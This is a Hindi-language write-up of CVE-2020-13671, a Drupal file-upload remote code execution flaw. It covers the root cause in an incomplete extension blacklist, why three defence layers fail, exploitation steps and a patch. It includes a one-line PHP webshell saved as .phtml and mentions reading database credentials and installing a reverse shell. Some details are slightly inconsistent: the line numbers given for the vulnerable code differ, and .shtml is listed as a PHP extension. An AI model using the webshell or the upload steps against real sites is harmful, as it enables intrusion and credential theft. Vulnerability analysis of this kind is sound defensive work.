
CVE-2020-13671 का विस्तृत विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो फ़ाइल अपलोड के माध्यम से Drupal कोर रिमोट कोड निष्पादन भेद्यता है, जिसमें मूल कारण, शोषण चरण और निवारण शामिल हैं।
सॉफ़्टवेयर: Drupal Core 8.7.5 (प्रभावित: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (उच्च)
CWE: CWE-434 — खतरनाक प्रकार वाली फ़ाइल का बिना प्रतिबंध अपलोड
CISA KEV: हाँ — ज्ञात शोषित भेद्यता (Known Exploited Vulnerability)
Advisory: SA-CORE-2020-012
Drupal एक ओपन-सोर्स कंटेंट मैनेजमेंट सिस्टम (CMS) है जो PHP में लिखा गया है। यह WordPress या Joomla जैसा ही है, लेकिन इसका झुकाव अधिक जटिल सिस्टम बनाने की ओर है — एंटरप्राइज़ वेबसाइटें, बहु-भाषा प्लेटफ़ॉर्म। Drupal एक मॉड्यूलर आर्किटेक्चर का उपयोग करता है, जिससे उपलब्ध मॉड्यूल को सक्षम/अक्षम करके या समुदाय से अतिरिक्त मॉड्यूल इंस्टॉल करके कार्यक्षमता बढ़ाई जा सकती है।
किसी भी CMS के बुनियादी कार्यों में से एक है उपयोगकर्ताओं को फ़ाइलें अपलोड करने की अनुमति देना — प्रोफ़ाइल अवतार, संलग्न दस्तावेज़, लेखों में अटैचमेंट। Drupal इन फ़ाइलों को sites/default/files/ निर्देशिका में सहेजता है और उन्हें सीधे वेब सर्वर (Apache या Nginx) के माध्यम से सर्व करता है।
⇒ यह एक स्पष्ट अटैक सरफेस बनाता है: यदि कोई हमलावर उस निर्देशिका में PHP फ़ाइल अपलोड करने में सफल हो जाता है, तो वेब सर्वर इनकमिंग अनुरोध पर उसे निष्पादित कर देगा।
इसे रोकने के लिए, Drupal कई सुरक्षा परतें बनाता है: फ़ाइल एक्सटेंशन की जाँच करना, खतरनाक फ़ाइलों का नाम बदलना, अपलोड निर्देशिका में स्क्रिप्ट निष्पादन रोकने के लिए .htaccess रखना। लेकिन संस्करण 8.7.5 में, हमलावर इन परतों के बीच के ठीक उसी अंधे स्थान (blind spot) का शोषण करते हैं।
इस भेद्यता के लिए फ़ाइल अपलोड अनुमति वाला एक खाता आवश्यक है। Drupal 8.7.5 में डिफ़ॉल्ट रूप से, नियमित उपयोगकर्ताओं (Authenticated) के पास केवल सामग्री देखने और टिप्पणी करने की अनुमति होती है — लेख बनाने या फ़ाइलें अपलोड करने की कोई अनुमति नहीं होती।
| खाता | शोषण योग्य? | विवरण |
|---|---|---|
| व्यवस्थापक | हाँ | पूर्ण अपलोड अनुमतियाँ |
| संपादक / सामग्री निर्माता | हाँ | यदि व्यवस्थापक द्वारा "सामग्री बनाएँ" अनुमति के साथ अपलोड की अनुमति दी गई हो |
| प्रमाणित उपयोगकर्ता (डिफ़ॉल्ट) | नहीं | डिफ़ॉल्ट रूप से सामग्री बनाने या अपलोड करने की कोई अनुमति नहीं |
| अनाम (लॉगिन नहीं किया) | नहीं | अपलोड करने की कोई अनुमति नहीं |
हालाँकि, व्यवहार में कई Drupal साइटें नियमित उपयोगकर्ताओं को सामग्री निर्माण की अनुमति देती हैं (फ़ोरम, सामुदायिक ब्लॉग, समाचार साइटें जो लेख सबमिशन की अनुमति देती हैं)। ऐसे मामलों में, हमलावर को केवल एक खाता पंजीकृत करने की आवश्यकता होती है।
अटैक फ़्लो:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
फ़ाइल core/modules/file/file.module में एक single regex है जो यह निर्धारित करता है कि कौन सी फ़ाइलें निष्पादन योग्य मानी जाती हैं:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

यह regex 7 एक्सटेंशन सूचीबद्ध करता है: phar, php, pl, py, cgi, asp, js। इस सूची से मेल खाने वाले किसी भी एक्सटेंशन वाली फ़ाइल में Drupal स्वचालित रूप से .txt जोड़ देता है — जिससे निष्पादन की क्षमता समाप्त हो जाती है।
हालाँकि, PHP इंजन केवल .php फ़ाइलों को ही प्रोसेस नहीं करता। वेब सर्वर कॉन्फ़िगरेशन के आधार पर, यह अन्य एक्सटेंशन को भी पहचानता और निष्पादित करता है:
| एक्सटेंशन | अर्थ | रेगेक्स में शामिल? |
|---|---|---|
.php | PHP मानक | हाँ |
.phtml | PHP वैकल्पिक टेम्पलेट | नहीं |
.php5 | PHP 5 हैंडलर | नहीं |
.pht | PHP टेम्पलेट | नहीं |
.phps | PHP सोर्स | नहीं |
.shtml | सर्वर-साइड इन्क्लूज़ (Server-Side Includes) | नहीं |
PHP एक्सटेंशन के 5 प्रकार regex से पूरी तरह अनुपस्थित हैं। इसका मतलब है कि shell.phtml नाम की फ़ाइल Drupal को भेजी गई → regex मेल नहीं खाता → नाम नहीं बदला गया → मूल नाम के साथ अपलोड निर्देशिका में सहेजी गई → वेब सर्वर .phtml देखता है → उसे PHP के रूप में निष्पादित करता है → हमलावर RCE प्राप्त करता है। यही मूल कारण है: Drupal ने खतरनाक एक्सटेंशन को रोकने के लिए ब्लैकलिस्ट का उपयोग किया, लेकिन वह सूची अधूरी थी।
जब कोई उपयोगकर्ता फ़ाइल अपलोड करता है, तो Drupal उसे सहेजने से पहले 3 सत्यापन फ़ंक्शनों से गुज़ारता है। नीचे विश्लेषण दिया गया है कि .phtml के साथ तीनों विफल क्यों हो जाते हैं।
file_munge_filename() (core/includes/file.inc)उद्देश्य: फ़ाइल नाम के बीच में स्थित खतरनाक एक्सटेंशन का पता लगाना और उन्हें बेअसर करने के लिए _ जोड़ना। फ़ंक्शन कैसे काम करता है:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
उदाहरण के लिए shell.phtml के साथ:
explode इसे ["shell", "phtml"] में विभाजित करता हैshift "shell" लेता है, जिससे ["phtml"] बचता हैpop "phtml" लेता है, जिससे [] बचता हैforeach निष्पादित नहीं होता"shell.phtml" यथावत लौटाता हैहालाँकि, यदि फ़ाइल में केवल एक ही एक्सटेंशन है, तो यह हस्तक्षेप नहीं करता। इस प्रकार, यह फ़ंक्शन केवल एकाधिक एक्सटेंशन वाली फ़ाइलों को संभालने के लिए डिज़ाइन किया गया है।
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)यह मुख्य रक्षा परत है। पंक्ति 1015 पर कोड:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
यदि फ़ाइल नाम regex से मेल खाता है → MIME को text/plain में बदलें और अंत में .txt जोड़ें।
shell.phtml के साथ:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') 0 लौटाता है.phtml खतरनाक है, यह आराम से निकल जाता है।.htaccessDrupal sites/default/files/ में एक .htaccess फ़ाइल रखता है:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine off निर्देश पूरी निर्देशिका के लिए PHP इंजन बंद कर देता है, लेकिन यह केवल mod_php5 पर लागू होता है। Drupal 8.7.5 PHP 7 पर चलता है, जिसका मतलब है कि mod_php7 सक्रिय है और डिसेबल नहीं है।
और .htaccess में 3 अन्य कमज़ोरियाँ भी हैं:
.htaccess नहीं पढ़ता — यह फ़ाइल Nginx पर पूरी तरह अप्रभावी हैAllowOverride None के साथ कॉन्फ़िगर किया गया Apache → .htaccess को अनदेखा किया जाता हैmod_php के बजाय PHP-FPM का उपयोग करने वाले सर्वर → php_flag निर्देश का कोई प्रभाव नहीं पड़ताecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
अपलोड अनुमति वाले खाते के साथ Drupal में लॉगिन करें → Content → Add content → Article → Image फ़ील्ड में फ़ाइल webshell.phtml चुनें → Upload करें।
Drupal फ़ाइल स्वीकार करता है, उसका नाम नहीं बदलता, और उसे मूल नाम के साथ sites/default/files/ में सहेजता है।

उसके बाद, whoami के साथ शेल कॉल निष्पादित करें:

इस प्रकार, हमने www-data के रूप में सफलतापूर्वक RCE प्राप्त कर लिया है।
आगे परीक्षण करके क्रेडेंशियल देखना:

हमलावर डेटाबेस क्रेडेंशियल वाली settings.php पढ़ सकता है, पूरा DB डंप कर सकता है, रिवर्स शेल इंस्टॉल कर सकता है, या रूट तक विशेषाधिकार बढ़ा सकता है।
रेगेक्स अपडेट करें — 5 लापता एक्सटेंशन जोड़ें:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccess अपडेट करें — mod_php7 के लिए डिसेबल जोड़ें:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
पैच काम करता है लेकिन फिर भी ब्लैकलिस्ट पर निर्भर करता है। यदि भविष्य में नए एक्सटेंशन सामने आते हैं (.php8, .phpt), तो regex को फिर से अपडेट करना होगा। व्हाइटलिस्टिंग — केवल ज्ञात सुरक्षित एक्सटेंशन की अनुमति देना — अधिक गहन दृष्टिकोण होगा।
| भेद्य फ़ाइल | core/modules/file/file.module पंक्ति 28 |
|---|---|
| मूल कारण | regex ब्लैकलिस्ट में .phtml, .php5, .pht, .phps, .shtml अनुपलब्ध हैं |
| प्रभाव | .phtml अपलोड करें → सर्वर निष्पादित करता है → RCE |
| बायपास की गई 3 रक्षा परतें | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| पैच | regex में 5 एक्सटेंशन जोड़ें + .htaccess में mod_php7 डिसेबल करें |